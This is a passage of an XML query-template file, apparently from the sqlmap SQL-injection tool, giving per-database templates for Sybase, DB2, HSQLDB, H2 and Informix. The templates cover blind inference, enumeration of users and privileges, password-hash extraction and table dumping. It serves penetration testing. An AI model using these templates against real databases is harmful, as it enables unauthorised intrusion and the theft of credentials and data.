|
||||
<is_dba query="EXISTS(SELECT USER_ID FROM domain.users WHERE username=USER() AND usermode='SYSDBA')"/>
|
||||
<users>
|
||||
<inband query="SELECT username FROM domain.users"/>
|
||||
<blind query="SELECT MIN(username) FROM domain.users WHERE username>'%s'" count="SELECT CHR(COUNT(*)) FROM domain.users"/>
|
||||
</users>
|
||||
<columns>
|
||||
<inband query="SELECT columnname,datatype,len FROM domain.columns WHERE tablename='%s' AND schemaname=%s"/>
|
||||
<blind/>
|
||||
</columns>
|
||||
<tables>
|
||||
<inband query="SELECT tablename FROM domain.tables WHERE schemaname=%s AND type='TABLE'"/>
|
||||
<blind/>
|
||||
</tables>
|
||||
<dbs>
|
||||
<inband query="SELECT DISTINCT(schemaname) FROM domain.tables"/>
|
||||
<blind/>
|
||||
</dbs>
|
||||
<roles>
|
||||
<inband query="SELECT owner,role FROM domain.roles" condition="owner"/>
|
||||
<blind/>
|
||||
</roles>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %%s"/>
|
||||
<blind query="SELECT MIN(%s) FROM %s WHERE CHR(%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CHR(%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS qq"/>
|
||||
</dump_table>
|
||||
</dbms>
|
||||
|
||||
<!-- Sybase -->
|
||||
<dbms value="Sybase">
|
||||
<cast query="CONVERT(VARCHAR(4000),%s)"/>
|
||||
<length query="LTRIM(STR(LEN(%s)))"/>
|
||||
<isnull query="ISNULL(%s,' ')"/>
|
||||
<delimiter query="+"/>
|
||||
<limit query="SELECT TOP %d "/>
|
||||
<limitregexp query="TOP\s+([\d]+)\s+.+?\s+FROM\s+.+?\s+WHERE\s+.+?\s+NOT\s+IN\s+\(SELECT\s+TOP\s+([\d]+)\s+"/>
|
||||
<limitgroupstart query="2"/>
|
||||
<limitgroupstop query="1"/>
|
||||
<limitstring/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--" query2="/*"/>
|
||||
<substring query="SUBSTRING((%s),%d,%d)"/>
|
||||
<concatenate query="%s+%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||
<hex query="BINTOSTR(CONVERT(VARBINARY,%s))"/>
|
||||
<inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
|
||||
<banner query="SELECT @@VERSION"/>
|
||||
<current_user query="SELECT SUSER_NAME()"/>
|
||||
<current_db query="SELECT DB_NAME()"/>
|
||||
<hostname/>
|
||||
<table_comment/>
|
||||
<column_comment/>
|
||||
<is_dba query="PATINDEX('%sa_role%',SHOW_ROLE())>0" query2="EXISTS(SELECT * FROM master..syslogins,master..sysloginroles WHERE srid=0 and name='%s')"/>
|
||||
<users>
|
||||
<inband query="SELECT name FROM master..syslogins"/>
|
||||
<blind/>
|
||||
</users>
|
||||
<passwords>
|
||||
<inband query="SELECT name,password FROM master..syslogins" condition="name"/>
|
||||
<blind/>
|
||||
</passwords>
|
||||
<privileges/>
|
||||
<roles>
|
||||
<inband query="SELECT name,srid FROM master..syslogins,master..sysloginroles" condition="name"/>
|
||||
<blind/>
|
||||
</roles>
|
||||
<dbs>
|
||||
<inband query="SELECT name FROM master..sysdatabases"/>
|
||||
<blind/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT name FROM %s..sysobjects WHERE type IN ('U')"/>
|
||||
<blind/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT %s..syscolumns.name,%s..syscolumns.usertype FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" condition="[DB]..syscolumns.name"/>
|
||||
<blind/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(VARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(VARCHAR(4000),%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS qq"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT name FROM master..sysdatabases WHERE %s" condition="name"/>
|
||||
<blind/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT name FROM %s..sysobjects WHERE type IN ('U') AND " condition="name" condition2="name"/>
|
||||
<blind/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT %s..sysobjects.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id" condition="[DB]..syscolumns.name" condition2="[DB]..sysobjects.name"/>
|
||||
<blind/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- IBM DB2 -->
|
||||
<dbms value="IBM DB2">
|
||||
<!-- Casting to varchar does not work with version < v9, so we had to use char(254) instead -->
|
||||
<cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
|
||||
<length query="LENGTH(RTRIM(CAST(%s AS CHAR(254))))"/>
|
||||
<isnull query="COALESCE(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="ROW_NUMBER() OVER () AS LIMIT %s) AS qq WHERE LIMIT"/>
|
||||
<limitregexp query="ROW_NUMBER\(\)\s+OVER\s+\(\)\s+AS\s+.+?\s+FROM\s+.+?\)\s+WHERE\s+.+?\s*=\s*[\d]+"/>
|
||||
<limitgroupstart/>
|
||||
<limitgroupstop/>
|
||||
<limitstring/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--"/>
|
||||
<!-- TODO -->
|
||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM SYSIBM.SYSDUMMY1"/>
|
||||
<hex query="HEX(%s)"/>
|
||||
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
|
||||
<!-- NOTE: We have to use the complicated UDB OLAP functions in query2 because sqlmap injects isnull query inside MAX function, else we would use: SELECT MAX(versionnumber) FROM sysibm.sysversions -->
|
||||
<banner query="SELECT service_level FROM TABLE(sysproc.env_get_inst_info())" query2="SELECT versionnumber FROM (SELECT ROW_NUMBER() OVER (ORDER BY versionnumber DESC) AS LIMIT,versionnumber FROM sysibm.sysversions) AS qq WHERE LIMIT=1"/>
|
||||
<current_user query="SELECT user FROM SYSIBM.SYSDUMMY1"/>
|
||||
<!-- NOTE: On DB2 we use the current user as default schema (database) -->
|
||||
<current_db query="SELECT current server FROM SYSIBM.SYSDUMMY1"/>
|
||||
<hostname query="SELECT host_name FROM TABLE(sysproc.env_get_sys_info())"/>
|
||||
<table_comment/>
|
||||
<column_comment/>
|
||||
<is_dba query="(SELECT dbadmauth FROM syscat.dbauth WHERE grantee=current user)='Y'"/>
|
||||
<users>
|
||||
<inband query="SELECT grantee FROM sysibm.sysdbauth WHERE grantee!='SYSTEM' AND grantee!='PUBLIC'"/>
|
||||
<blind query="SELECT grantee FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,grantee FROM sysibm.sysdbauth WHERE grantee!='SYSTEM' AND grantee!='PUBLIC') AS qq WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(grantee)) FROM sysibm.sysdbauth WHERE grantee!='SYSTEM' AND grantee!='PUBLIC'"/>
|
||||
</users>
|
||||
<!-- NOTE: On DB2 it is not possible to list password hashes, since they are handled by the OS -->
|
||||
<passwords/>
|
||||
<privileges>
|
||||
<inband query="SELECT grantee,RTRIM(tabschema)||'.'||tabname||','||controlauth||alterauth||deleteauth||indexauth||insertauth||refauth||selectauth||updateauth FROM syscat.tabauth" condition="grantee"/>
|
||||
<blind query="SELECT tabschema||'.'||tabname||','||controlauth||alterauth||deleteauth||indexauth||insertauth||refauth||selectauth||updateauth FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,syscat.tabauth.* FROM syscat.tabauth WHERE grantee='%s') AS qq WHERE LIMIT=%d" count="SELECT COUNT(*) FROM syscat.tabauth WHERE grantee='%s'"/>
|
||||
</privileges>
|
||||
<roles/>
|
||||
<!-- NOTE: in DB2 schema names are the counterpart to database names on other DBMSes -->
|
||||
<dbs>
|
||||
<inband query="SELECT schemaname FROM syscat.schemata"/>
|
||||
<blind query="SELECT schemaname FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,schemaname FROM syscat.schemata) AS qq WHERE LIMIT=%d" count="SELECT COUNT(schemaname) FROM syscat.schemata"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT tabschema,tabname FROM sysstat.tables" condition="tabschema"/>
|
||||
<blind query="SELECT tabname FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,tabname FROM sysstat.tables WHERE tabschema='%s') AS qq WHERE LIMIT=INT('%d')" count="SELECT COUNT(*) FROM sysstat.tables WHERE tabschema='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT name,RTRIM(coltype)||'('||RTRIM(CAST(length AS CHAR(254)))||')' FROM sysibm.syscolumns WHERE tbname='%s' AND tbcreator='%s'" condition="name"/>
|
||||
<blind query="SELECT name FROM sysibm.syscolumns WHERE tbname='%s' AND tbcreator='%s'" query2="SELECT RTRIM(coltype)||'('||RTRIM(CAST(length AS CHAR(254)))||')' FROM sysibm.syscolumns WHERE tbname='%s' AND name='%s' AND tbcreator='%s'" count="SELECT COUNT(name) FROM sysibm.syscolumns WHERE tbname='%s' AND tbcreator='%s'" condition="name"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT ENTRY_VALUE FROM (SELECT ROW_NUMBER() OVER () AS LIMIT,%s AS ENTRY_VALUE FROM %s) AS qq WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schemaname FROM syscat.schemata WHERE %s" condition="schemaname"/>
|
||||
<blind query="SELECT schemaname FROM (SELECT DISTINCT(schemaname) FROM syscat.schemata WHERE %s) AS qq" count="SELECT COUNT(DISTINCT(schemaname)) FROM syscat.schemata WHERE %s" condition="schemaname"/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT tabschema,tabname FROM sysstat.tables WHERE %s" condition="tabname" condition2="tabschema"/>
|
||||
<blind query="SELECT tabschema FROM (SELECT DISTINCT(tabschema) FROM sysstat.tables WHERE %s) AS qq" query2="SELECT DISTINCT(tabname) FROM sysstat.tables WHERE tabschema='%s'" count="SELECT COUNT(DISTINCT(tabschema)) FROM sysstat.tables WHERE %s" count2="SELECT COUNT(tabname) FROM sysstat.tables WHERE tabschema='%s'" condition="tabname" condition2="tabschema"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT tabschema,tabname FROM sysstat.columns WHERE %s" condition="colname" condition2="tabschema" condition3="tabname"/>
|
||||
<blind query="SELECT tabschema FROM (SELECT DISTINCT(tabschema) FROM sysstat.columns WHERE %s) AS qq" query2="SELECT DISTINCT(tabname) FROM sysstat.columns WHERE tabschema='%s'" count="SELECT COUNT(DISTINCT(tabschema)) FROM sysstat.columns WHERE %s" count2="SELECT COUNT(DISTINCT(tabname)) FROM sysstat.columns WHERE tabschema='%s'" condition="colname" condition2="tabschema" condition3="tabname"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- Hyper SQL Database -->
|
||||
<dbms value="HSQLDB">
|
||||
<cast query="CAST(%s AS LONGVARCHAR)"/>
|
||||
<length query="CHAR_LENGTH(%s)"/>
|
||||
<isnull query="IFNULL(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="LIMIT %d %d" query2="LIMIT %d OFFSET %d"/>
|
||||
<limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||
<limitgroupstart query="1"/>
|
||||
<limitgroupstop query="2"/>
|
||||
<limitstring query=" LIMIT "/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--" query2="/*" query3="//"/>
|
||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||
<concatenate query="CONCAT(%s,%s)"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<hex query="RAWTOHEX(%s)"/>
|
||||
<inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
|
||||
<banner query="DATABASE_VERSION()"/>
|
||||
<current_user query="CURRENT_USER"/>
|
||||
<current_db query="DATABASE()"/>
|
||||
<hostname/>
|
||||
<table_comment/>
|
||||
<column_comment/>
|
||||
<is_dba query="SELECT ADMIN FROM INFORMATION_SCHEMA.USERS WHERE NAME=CURRENT_USER"/>
|
||||
<check_udf/>
|
||||
<users>
|
||||
<!-- LIMIT is needed at start for v1.7 this gets mangled unless no-cast is used -->
|
||||
<blind query="SELECT LIMIT %d 1 DISTINCT(user) FROM INFORMATION_SCHEMA.SYSTEM_USERS ORDER BY user" count="SELECT COUNT(DISTINCT(user)) FROM INFORMATION_SCHEMA.SYSTEM_USERS"/>
|
||||
<inband query="SELECT user FROM INFORMATION_SCHEMA.SYSTEM_USERS ORDER BY user"/>
|
||||
</users>
|
||||
<passwords>
|
||||
<!-- Passwords only shown in later versions >=2.0 -->
|
||||
<blind query="SELECT LIMIT %d 1 DISTINCT(password_digest) FROM INFORMATION_SCHEMA.SYSTEM_USERS WHERE user_name='%s' ORDER BY password_digest" count="SELECT COUNT(DISTINCT(password_digest)) FROM INFORMATION_SCHEMA.SYSTEM_USERS WHERE user_name='%s'"/>
|
||||
<inband query="SELECT user_name,password_digest FROM INFORMATION_SCHEMA.SYSTEM_USERS ORDER BY user_name" condition="user_name"/>
|
||||
</passwords>
|
||||
<privileges/>
|
||||
<roles/>
|
||||
<dbs>
|
||||
<blind query="SELECT LIMIT %d 1 DISTINCT(table_schem) FROM INFORMATION_SCHEMA.SYSTEM_SCHEMAS ORDER BY table_schem" count="SELECT COUNT(table_schem) FROM INFORMATION_SCHEMA.SYSTEM_SCHEMAS"/>
|
||||
<inband query="SELECT table_schem FROM INFORMATION_SCHEMA.SYSTEM_SCHEMAS ORDER BY table_schem" />
|
||||
</dbs>
|
||||
<tables>
|
||||
<blind query="SELECT LIMIT %d 1 table_name FROM INFORMATION_SCHEMA.SYSTEM_TABLES WHERE table_schem='%s' ORDER BY table_name" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.SYSTEM_TABLES WHERE table_schem='%s'"/>
|
||||
<inband query="SELECT table_schem,table_name FROM INFORMATION_SCHEMA.SYSTEM_TABLES ORDER BY table_schem" condition="table_schem"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<blind query="SELECT column_name FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE table_name='%s' AND table_schem='%s' ORDER BY column_name" query2="SELECT column_type FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schem='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE table_name='%s' AND table_schem='%s'" condition="column_name"/>
|
||||
<inband query="SELECT column_name,type_name FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE table_name='%s' AND table_schem='%s' ORDER BY column_name" condition="column_name"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<blind query="SELECT DISTINCT(table_schem) FROM INFORMATION_SCHEMA.SYSTEM_SCHEMAS WHERE %s" count="SELECT COUNT(DISTINCT(table_schem)) FROM INFORMATION_SCHEMA.SYSTEM_SCHEMAS WHERE %s" condition="table_schem"/>
|
||||
<inband query="SELECT table_schem FROM INFORMATION_SCHEMA.SYSTEM_SCHEMAS WHERE %s" condition="table_schem"/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<blind query="SELECT DISTINCT(table_schem) FROM INFORMATION_SCHEMA.SYSTEM_TABLES WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.SYSTEM_TABLES WHERE table_schem='%s'" count="SELECT COUNT(DISTINCT(table_schem)) FROM INFORMATION_SCHEMA.SYSTEM_TABLES WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.SYSTEM_TABLES WHERE table_schem='%s'" condition="table_name" condition2="table_schem"/>
|
||||
<inband query="SELECT table_schem,table_name FROM INFORMATION_SCHEMA.SYSTEM_TABLES WHERE %s" condition="table_name" condition2="table_schem"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<blind query="SELECT DISTINCT(table_schem) FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE table_schem='%s'" count="SELECT COUNT(DISTINCT(table_schem)) FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE table_schem='%s'" condition="column_name" condition2="table_schem" condition3="table_name"/>
|
||||
<inband query="SELECT table_schem,table_name FROM INFORMATION_SCHEMA.SYSTEM_COLUMNS WHERE %s" condition="column_name" condition2="table_schem" condition3="table_name"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<dbms value="H2">
|
||||
<cast query="CAST(%s AS LONGVARCHAR)"/>
|
||||
<length query="CHAR_LENGTH(%s)"/>
|
||||
<isnull query="IFNULL(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="OFFSET %d LIMIT %d"/>
|
||||
<limitregexp query="\s+OFFSET\s+([\d]+)\s+LIMIT\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||
<limitgroupstart query="1"/>
|
||||
<limitgroupstop query="2"/>
|
||||
<limitstring query=" OFFSET "/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--" query2="//"/>
|
||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||
<concatenate query="CONCAT(%s,%s)"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<hex query="RAWTOHEX(%s)"/>
|
||||
<inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
|
||||
<banner query="H2VERSION()"/>
|
||||
<current_user query="CURRENT_USER"/>
|
||||
<current_db query="DATABASE()"/>
|
||||
<hostname/>
|
||||
<table_comment/>
|
||||
<column_comment/>
|
||||
<is_dba query="SELECT CURRENT_USER='SA'"/>
|
||||
<check_udf/>
|
||||
<users>
|
||||
<inband query="SELECT NAME FROM INFORMATION_SCHEMA.USERS"/>
|
||||
<blind query="SELECT NAME FROM INFORMATION_SCHEMA.USERS OFFSET %d LIMIT 1" count="SELECT COUNT(NAME) FROM INFORMATION_SCHEMA.USERS"/>
|
||||
</users>
|
||||
<passwords/>
|
||||
<privileges/>
|
||||
<roles/>
|
||||
<dbs>
|
||||
<inband query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||
<blind query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA OFFSET %d LIMIT 1" count="SELECT COUNT(SCHEMA_NAME) FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES" condition="TABLE_SCHEMA"/>
|
||||
<blind query="SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<blind query="SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" query2="SELECT TYPE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND TABLE_SCHEMA='%s'" count="SELECT COUNT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s'" condition="COLUMN_NAME"/>
|
||||
<inband query="SELECT COLUMN_NAME,TYPE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='%s' AND TABLE_SCHEMA='%s' ORDER BY COLUMN_NAME" condition="COLUMN_NAME"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<blind query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" count="SELECT COUNT(SCHEMA_NAME) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="SCHEMA_NAME"/>
|
||||
<inband query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="SCHEMA_NAME"/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<blind query="SELECT DISTINCT(TABLE_SCHEMA) FROM INFORMATION_SCHEMA.TABLES WHERE %s ORDER BY 1" query2="SELECT DISTINCT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='%s' ORDER BY 1" count="SELECT COUNT(DISTINCT(TABLE_SCHEMA)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='%s'" condition="TABLE_NAME" condition2="TABLE_SCHEMA"/>
|
||||
<inband query="SELECT TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="TABLE_NAME" condition2="TABLE_SCHEMA"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<blind query="SELECT DISTINCT(TABLE_SCHEMA) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s ORDER BY 1" query2="SELECT DISTINCT(TABLE_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='%s' ORDER BY 1" count="SELECT COUNT(DISTINCT(TABLE_SCHEMA)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='%s'" condition="column_name" condition2="TABLE_SCHEMA" condition3="TABLE_NAME"/>
|
||||
<inband query="SELECT TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="COLUMN_NAME" condition2="TABLE_SCHEMA" condition3="TABLE_NAME"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- Informix -->
|
||||
<!-- https://www.ibm.com/support/knowledgecenter/SSGU8G_11.70.0/com.ibm.sqlr.doc/ids_sqr_072.htm -->
|
||||
<!-- https://www.ibm.com/support/knowledgecenter/SSGU8G_12.1.0/com.ibm.sec.doc/ids_am_041.htm -->
|
||||
<dbms value="Informix">
|
||||
<cast query="RTRIM(TO_CHAR(%s))"/>
|
||||
<length query="CHAR_LENGTH(RTRIM(%s))"/>
|
||||
<isnull query="NVL(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="SELECT SKIP %d LIMIT 1"/>
|
||||
<limitregexp query="\s+SKIP\s+([\d]+)\s*LIMIT\s*([\d]+)"/>
|
||||
<limitgroupstart query="1"/>
|
||||
<limitgroupstop query="2"/>
|
||||
<limitstring query=" LIMIT "/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--"/>
|
||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM SYSMASTER:SYSDUAL"/>
|
||||
<hex query="HEX(%s)"/>
|
||||
<!-- http://www.dbforums.com/showthread.php?1660588-select-first-and-union&p=6478613#post6478613 -->
|
||||
<inference query="ASCII(SUBSTR((SELECT * FROM (%s)),%d,1))>%d"/>
|
||||
<banner query="SELECT DBINFO('VERSION','FULL') FROM SYSMASTER:SYSDUAL"/>
|
||||
<current_user query="SELECT USER FROM SYSMASTER:SYSDUAL"/>
|
||||
<current_db query="SELECT DBINFO('DBNAME') FROM SYSMASTER:SYSDUAL"/>
|
||||
<hostname query="SELECT DBINFO('DBHOSTNAME') FROM SYSMASTER:SYSDUAL"/>
|
||||
<table_comment/>
|
||||
<column_comment/>
|
||||
<is_dba query="(SELECT USERTYPE FROM SYSUSERS WHERE USERNAME=USER)='D'"/>
|
||||
<users>
|
||||
<inband query="SELECT USERNAME FROM SYSUSERS"/>
|
||||
<blind query="SELECT SKIP %d LIMIT 1 USERNAME FROM SYSUSERS ORDER BY USERNAME" count="SELECT COUNT(USERNAME) FROM SYSUSERS"/>
|
||||
</users>
|
||||
<passwords>
|
||||
<inband query="SELECT USERNAME,HASHED_PASSWORD||':'||SALT FROM SYSUSER:SYSINTAUTHUSERS" condition="USERNAME"/>
|
||||
<blind query="SELECT HASHED_PASSWORD||':'||SALT FROM SYSUSER:SYSINTAUTHUSERS WHERE USERNAME='%s'"/>
|
||||
</passwords>
|
||||
<privileges>
|
||||
<inband query="SELECT USERNAME,USERTYPE FROM SYSUSERS" condition="USERNAME"/>
|
||||
<blind query="SELECT USERTYPE FROM SYSUSERS WHERE USERNAME='%s'"/>
|
||||
</privileges>
|
||||
<roles/>
|
||||
<dbs>
|
||||
<inband query="SELECT NAME FROM SYSMASTER:SYSDATABASES"/>
|
||||
<blind query="SELECT SKIP %d LIMIT 1 NAME FROM SYSMASTER:SYSDATABASES ORDER BY NAME" count="SELECT COUNT(NAME) FROM SYSMASTER:SYSDATABASES"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT TABNAME FROM %s:SYSTABLES WHERE TABTYPE='T' AND TABID>99"/>
|
||||
<blind query="SELECT SKIP %d LIMIT 1 TABNAME FROM %s:SYSTABLES WHERE TABTYPE='T' AND TABID>99 ORDER BY TABNAME" count="SELECT COUNT(TABNAME) FROM %s:SYSTABLES WHERE TABTYPE='T' AND TABID>99"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT COLNAME,COLTYPE FROM %s:SYSTABLES,%s:SYSCOLUMNS WHERE %s:SYSTABLES.TABID=%s:SYSCOLUMNS.TABID AND %s:SYSTABLES.TABNAME='%s'" condition="COLNAME"/>
|
||||
<blind query="SELECT SKIP %d LIMIT 1 COLNAME FROM %s:SYSTABLES,%s:SYSCOLUMNS WHERE %s:SYSTABLES.TABID=%s:SYSCOLUMNS.TABID AND %s:SYSTABLES.TABNAME='%s' ORDER BY COLNAME" query2="SELECT COLTYPE FROM %s:SYSTABLES,%s:SYSCOLUMNS WHERE %s:SYSTABLES.TABID=%s:SYSCOLUMNS.TABID AND %s:SYSTABLES.TABNAME='%s' AND COLNAME='%s'" count="SELECT COUNT(COLNAME) FROM %s:SYSTABLES,%s:SYSCOLUMNS WHERE %s:SYSTABLES.TABID=%s:SYSCOLUMNS.TABID AND %s:SYSTABLES.TABNAME='%s'" condition="COLNAME"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s:%s"/>
|
||||
<blind query="SELECT MIN(%s) FROM %s WHERE RTRIM(TO_CHAR(%s))>'%s'" query2="SELECT MAX(%s) FROM %s WHERE RTRIM(TO_CHAR(%s)) LIKE '%s'" count="SELECT COUNT(*) FROM %s:%s" count2="SELECT COUNT(DISTINCT %s) FROM %s"/>
|
||||
</dump_table>
|
||||
<search_db/>
|
||||
<search_table/>
|
||||
<search_column/>
|
||||
</dbms>
|
||||
</root>
|
||||
Reference in New Issue
Block a user